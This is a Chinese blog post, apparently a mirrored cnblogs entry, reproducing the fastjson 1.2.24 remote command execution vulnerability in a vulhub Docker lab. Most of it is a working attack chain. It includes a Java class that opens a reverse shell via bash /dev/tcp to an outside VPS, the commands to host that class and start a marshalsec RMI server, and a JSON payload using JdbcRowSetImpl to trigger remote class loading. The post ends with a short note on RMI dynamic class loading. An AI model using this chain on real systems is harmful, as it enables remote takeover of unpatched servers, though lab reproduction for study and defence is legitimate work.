zoukankan      html  css  js  c++  java
  • fastjson远程命令执行漏洞复现

    fastjson远程命令执行漏洞复现

    使用vulhub提供的docker环境:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

    在192.168.199.225目标机器上运行测试环境:

    docker-compose up -d

    访问目标机器,正常访问。

     

    编写Exploit:

     1 // javac TouchFile.java
     2 import java.lang.Runtime;
     3 import java.lang.Process;
     4 
     5 public class TouchFile {
     6     static {
     7         try {
     8             Runtime rt = Runtime.getRuntime();
     9             String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xxx.xxx.xx/4455 0>&1"};
    10             Process pc = rt.exec(commands);
    11             pc.waitFor();
    12         } catch (Exception e) {
    13             // do nothing
    14         }
    15     }
    16 }

    编译成TouchFile.class,并放置在使用python开启的http服务下(我们的攻击机192.168.199.137):

    python2 -m SimpleHTTPServer 3333

    在攻击机192.168.199.137上使用marshalsec开启RMI服务:https://github.com/mbechler/marshalsec 

    从github上下载下来后,使用maven编译:

    mvn clean package -DskipTests

    然后

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.137:3333/#TouchFile" 9999

    此时就会监听9999端口的RMI服务:

    在公网vps上监听4455端口:

    此时构造POC,向目标机192.168.199.225发出请求:

    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.199.137:9999/TouchFile",
            "autoCommit":true
        }
    }

    你会发现响应包一直在等待中,然而这是正常的

    在公网vps上成功得到交互式bash!

    RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class

    https://www.freebuf.com/column/189835.html

    金麟岂是池中物,一遇风云便化龙!
  • 相关阅读:
    range用法(倒序取值)
    set操作
    map集合 可变对象
    元组
    list操作
    列表推导式、字典推导式、集合推导式
    调用父类方法
    谷歌浏览器真机调试的方法
    css3 flex弹性盒自动铺满写法
    微信小程序保存海报的方法
  • 原文地址:https://www.cnblogs.com/ABKing/p/13627337.html
Copyright © 2011-2022 走看看